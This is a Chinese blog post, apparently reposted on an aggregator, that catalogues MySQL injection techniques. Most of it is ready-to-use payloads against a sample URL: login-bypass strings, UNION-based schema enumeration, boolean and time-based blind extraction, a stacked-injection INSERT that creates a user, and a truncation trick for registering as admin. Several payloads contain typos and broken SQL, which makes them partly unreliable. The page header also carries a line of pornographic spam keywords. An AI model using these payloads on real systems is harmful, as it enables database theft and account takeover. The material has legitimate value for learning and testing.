日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql 多行拼接注入_MySQL注入汇总

發布時間:2023/12/4 数据库 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql 多行拼接注入_MySQL注入汇总 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Mysql注釋符:

單行注釋: # 在對URL使用過程中可能遇到Unicode編碼問題,可常用%23代替

多行注釋:/**/

單行注釋: -- 此處需要注意后面存在空格,否則報錯

0.萬能密碼

(基于SQL驗證,SQL注入)

aaa' or 1#

aaa' or 1; -- 會導致不成功,應為注釋掉了sql語句拼接的單引號,導致無法完成查詢

aaa' or 1; -- aaaaa

aaa' or 1; /******

(基于%00截斷繞過)

aa' or 1 %00/*

aa' or 1 %001451618646415:擾亂判定

1.UNION聯合注入

前置關鍵詞:union ;order by;limit;

union:使用時需要于前置查詢結果列數相同

order by :可用于對指定列進行排序

limit a,b:取出查詢的從a開始b個的指定位置數據

前置關鍵函數:database(); version();user(); database():當前數據庫

關鍵數據庫:information_schema

思路:直接查詢

獲取union前查詢語句的列數

例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通過使用order by 排序來判定列數

假設已知列數為3,可進一步使用聯合查詢執行關鍵函數

例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通過使用order by 排序來判定列數

查詢該當前數據庫test有多少表

例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通過使用information_schema的tables屬性查詢表,結合limit逐個查詢

查詢該當前表testTable字段信息

例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通過使用information_schema的cloumns屬性查詢表字段,結合limit逐個查詢。

注意:TABLE_NAME='testTable' 建議將testTable的16進制寫入進行替換

擴展,可以使用concat(a,'--',b)函數可以將查詢到的兩個結果進行拼接,一般用于賬號于密碼md5值對應

2.BOOL布爾注入(盲注)

前置關鍵函數:mid() ;ord();length();

mid(str,1,2):字符串截取函數

ord():轉為ascii碼

length():統計長度

思路:可以進行逐個字符爆破猜解

使用and或者or進行測試

例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23

猜測數據庫長度是否為3

例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23

猜測數據庫名

例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23

通過截取數據庫名的第一字符并轉至為ascii與數字不斷比較猜測

完成數據庫名測試后,開始爆破表數量

例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23

完成表數量測試后,開始爆破表名

例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23

3.SLEEP延時注入(盲注)

前置關鍵函數:sleep(),if();

sleep():指定睡眠時間

if():類似于編程的三元表達式

例如猜測數據庫長度

例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23

后面同布爾注入思路相同,逐個猜測即可

4.堆疊注入(Stacked Injection)

前置知識:SQL語法

注意:該方法不適用于Oracle數據庫

利用原理:通過;來構造執行多條語句

例如可以插入信息,當然前提知道可以插入的字段,數據表等

例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23

后面思路可以執行SQL語句的思路來進行更關鍵的數據獲取,增刪查改等操作

5.基于約束型注入

前置知識:SQL語法

利用原理:由于管理員在創建數據庫時可能對字段長度進行約束,輸入是超過其長度限制,利用系統截斷功能處理,一般常用于insert中進行覆蓋等,多見于CTF題型中

例如20個字符以內varchar(20),存儲用戶名為admin可在賬戶注冊部分進行測試

例如:注冊賬戶設置為admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通過填充空格數進行惡意注冊,利用數據庫自行截斷功能,獲取的內容將變為admin(若代碼存在清除空格)

6.GET型注入

7.POST型注入

8.Cookie注入

9.搜索型注入

10.寬字節注入

11.二次注入

12.Insert注入

13.報錯型注入

14.二次編碼注入

15.DNSlog注入(盲注)

資料參考

后記

由于本人技術,精力有限,導致sql注入類型只是完成前5個詳細說明,其他進行了列舉,但是后期會抽出時間進行更新,以上內容有參考網上其他文章,已經列舉至參考資料一欄,若存在錯誤,請大家予以斧正,若需商業化使用,請及時告知,謝謝。歡迎技術交流QQ:3300744526

總結

以上是生活随笔為你收集整理的mysql 多行拼接注入_MySQL注入汇总的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。